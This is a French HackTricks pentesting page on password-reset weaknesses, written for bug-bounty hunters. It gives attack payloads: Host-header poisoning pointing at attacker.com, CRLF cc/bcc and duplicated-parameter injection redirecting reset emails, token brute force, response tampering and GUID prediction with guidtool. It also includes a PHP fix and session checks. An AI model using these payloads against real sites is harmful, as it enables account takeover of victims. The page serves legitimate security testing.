hacktricks/pentesting-web/reset-password.md

14 KiB

Contournement de réinitialisation/mot de passe oublié

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :

Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de primes de bugs !

Aperçus de Piratage
Engagez-vous avec du contenu qui plonge dans le frisson et les défis du piratage

Nouvelles de Piratage en Temps Réel
Restez à jour avec le monde du piratage rapide grâce à des nouvelles et des aperçus en temps réel

Dernières Annonces
Restez informé avec les dernières primes de bugs lancées et les mises à jour cruciales de la plateforme

Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !

La compilation des techniques suivantes a été prise de https://anugrahsr.github.io/posts/10-Password-reset-flaws/

Fuite de Token de Réinitialisation de Mot de Passe Via Référent

Le HTTP referer est un champ d'en-tête HTTP optionnel qui identifie l'adresse de la page web qui est liée à la ressource demandée. L'en-tête de requête Referer contient l'adresse de la page web précédente à partir de laquelle un lien vers la page actuellement demandée a été suivi.

Exploitation

  • Demandez la réinitialisation du mot de passe à votre adresse e-mail
  • Cliquez sur le lien de réinitialisation du mot de passe
  • Ne changez pas le mot de passe
  • Cliquez sur des sites web tiers (par exemple : Facebook, Twitter)
  • Interceptez la requête dans le proxy Burpsuite
  • Vérifiez si l'en-tête referer fuite le token de réinitialisation du mot de passe.

Impact

Cela permet à la personne qui a le contrôle d'un site particulier de changer le mot de passe de l'utilisateur (attaque CSRF), car cette personne connaît le token de réinitialisation du mot de passe de l'utilisateur.

Référence :

Empoisonnement de Réinitialisation de Mot de Passe

Si vous trouvez une attaque de l'en-tête d'hôte et qu'elle est hors de portée, essayez de trouver le bouton de réinitialisation du mot de passe !

Exploitation

  • Interceptez la demande de réinitialisation du mot de passe dans Burpsuite
  • Ajoutez l'en-tête suivant ou modifiez l'en-tête dans Burpsuite (essayez un par un)
Host: attacker.com
Host: target.com
X-Forwarded-Host: attacker.com
Host: target.com
Host: attacker.com
  • Vérifiez si le lien pour changer le mot de passe dans l'email pointe vers attacker.com

Correctif

Utilisez $_SERVER['SERVER_NAME'] plutôt que $_SERVER['HTTP_HOST']

$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901";

Impact

La victime recevra le lien malveillant dans son email et, en cliquant dessus, divulguera le lien / jeton de réinitialisation du mot de passe de l'utilisateur à l'attaquant, menant à la prise de contrôle complète du compte.

Référence :

Réinitialisation du mot de passe en manipulant le paramètre Email

Exploitation

  • Ajouter l'email de l'attaquant comme second paramètre en utilisant &
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • Ajouter l'email de l'attaquant comme second paramètre en utilisant %20
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • Ajouter l'email de l'attaquant comme second paramètre en utilisant |
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  • Ajouter l'email de l'attaquant comme second paramètre en utilisant cc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • Ajouter l'email de l'attaquant comme second paramètre en utilisant bcc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • Ajoutez l'email de l'attaquant comme second paramètre en utilisant ,
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • Ajouter l'email de l'attaquant comme second paramètre dans le tableau json
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

Référence

Changement de l'Email et du Mot de passe de n'importe quel Utilisateur via les Paramètres de l'API

Exploitation

  • L'attaquant doit se connecter avec son compte et aller à la fonction de changement de mot de passe
  • Démarrer Burp Suite et intercepter la requête
  • Après avoir intercepté la requête, l'envoyer au répéteur et modifier les paramètres Email et Mot de passe
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})

Référence

Pas de limitation de taux : Bombardement d'emails

Exploitation

  • Lancez Burp Suite et interceptez la demande de réinitialisation de mot de passe
  • Envoyez à l'intrus
  • Utilisez une charge utile nulle

Référence

Découvrez comment le jeton de réinitialisation de mot de passe est généré

Découvrez le modèle du jeton de réinitialisation de mot de passe

Si c'est

  • Généré sur la base du Timestamp
  • Généré sur la base de l'UserID
  • Généré sur la base de l'email de l'utilisateur
  • Généré sur la base du Prénom et du Nom
  • Généré sur la base de la Date de Naissance
  • Généré sur la base de la Cryptographie

Utilisez Burp Sequencer pour trouver l'aléatoire ou la prévisibilité des jetons.

GUID devinable

Il existe différents types de GUID :

  • Version 0 : Seulement vu dans le GUID nul ("00000000-0000-0000-0000-000000000000").
  • Version 1 : Le GUID est généré de manière prévisible sur la base de :
  • L'heure actuelle
  • Une "séquence d'horloge" générée aléatoirement qui reste constante entre les GUID pendant le temps de fonctionnement du système générant
  • Un "ID de nœud", qui est généré sur la base de l'adresse MAC du système s'il est disponible
  • Version 3 : Le GUID est généré en utilisant un hachage MD5 d'un nom et d'un espace de noms fournis.
  • Version 4 : Le GUID est généré aléatoirement.
  • Version 5 : Le GUID est généré en utilisant un hachage SHA1 d'un nom et d'un espace de noms fournis.

Il est possible de regarder un GUID et de découvrir sa version, il existe un petit outil pour cela : guidtool****

guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
UUID version: 1
UUID time: 2021-11-17 17:52:18.141000
UUID timestamp: 138564643381410000
UUID node: 17547390002044
UUID MAC address: 0f:f5:91:f2:a3:7c
UUID clock sequence: 3426

Si la version utilisée pour générer un GUID de réinitialisation de mot de passe est la version 1, il est possible de forcer brutalement les GUID :

guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
a34aca00-47d0-11ec-8d62-0ff591f2a37c
a34af110-47d0-11ec-8d62-0ff591f2a37c

Références

Manipulation de réponse : Remplacer une mauvaise réponse par une bonne

Cherchez des requêtes et des réponses comme celles-ci

HTTP/1.1 401 Unauthorized
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)

Changer la réponse

HTTP/1.1 200 OK
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)

Référence

Utilisation d'un jeton expiré

  • Vérifiez si le jeton expiré peut être réutilisé

Forcer le jeton de réinitialisation du mot de passe

Essayez de forcer le jeton de réinitialisation en utilisant Burpsuite

POST /resetPassword
[...]
email=victim@email.com&code=$BRUTE$

Référence

Essayez d'utiliser votre jeton

  • Essayez d'ajouter votre jeton de réinitialisation de mot de passe avec le compte de la victime
POST /resetPassword
[...]
email=victim@email.com&code=$YOUR_TOKEN$

Référence

Invalidation de session lors de la Déconnexion/Réinitialisation de mot de passe

Lorsqu'un utilisateur se déconnecte ou réinitialise son mot de passe, la session actuelle doit être invalidée.
Ainsi, capturez les cookies pendant que l'utilisateur est connecté, déconnectez-vous, et vérifiez si les cookies sont toujours valides.
Répétez le processus en changeant le mot de passe au lieu de vous déconnecter.

Temps d'expiration du Token de réinitialisation

Les tokens de réinitialisation doivent avoir un temps d'expiration, après cela le token ne devrait plus être valide pour changer le mot de passe d'un utilisateur.

Vérifications supplémentaires

  • Utilisez username@burp_collab.net et analysez le callback
  • Email en copie carbone email=victim@mail.com%0a%0dcc:hacker@mail.com
  • Mot de passe long (>200) entraîne un DoS
  • Ajoutez un second paramètre email et sa valeur

Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de primes de bugs !

Aperçus de Hacking
Engagez-vous avec du contenu qui plonge dans l'excitation et les défis du hacking

Nouvelles de Hacking en Temps Réel
Restez à jour avec le monde du hacking rapide grâce à des nouvelles et des aperçus en temps réel

Dernières Annonces
Restez informé avec les dernières primes de bugs lancées et les mises à jour cruciales de la plateforme

Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !

Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :